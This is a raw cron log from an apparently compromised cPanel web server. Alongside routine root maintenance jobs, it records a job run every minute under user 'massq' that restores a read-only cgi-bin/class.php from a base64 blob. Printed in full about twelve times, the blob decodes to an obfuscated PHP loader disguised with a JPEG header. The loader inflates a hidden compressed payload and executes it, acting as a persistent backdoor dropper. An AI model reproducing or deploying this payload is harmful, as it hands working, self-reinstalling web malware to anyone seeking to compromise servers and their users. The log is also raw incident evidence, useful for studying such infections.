Nov 13 04:07:01 server CROND[32541]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:08:01 server CROND[1056]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:09:01 server CROND[1916]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 04:09:01 server CROND[1917]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:10:01 server CROND[2787]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 04:10:01 server CROND[2788]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:10:01 server CROND[2789]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 04:10:01 server CROND[2792]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 04:11:01 server CROND[3728]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:12:01 server CROND[4583]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:12:01 server CROND[4584]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 04:13:01 server CROND[5496]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:14:01 server CROND[6463]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:15:01 server CROND[7331]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 04:15:01 server CROND[7332]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:15:01 server CROND[7333]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 04:15:01 server CROND[7334]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 13 04:16:01 server CROND[8197]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:17:01 server CROND[9221]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:18:01 server CROND[9936]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:19:01 server CROND[10799]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:20:01 server CROND[11424]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 04:20:01 server CROND[11427]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 04:20:01 server CROND[11430]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
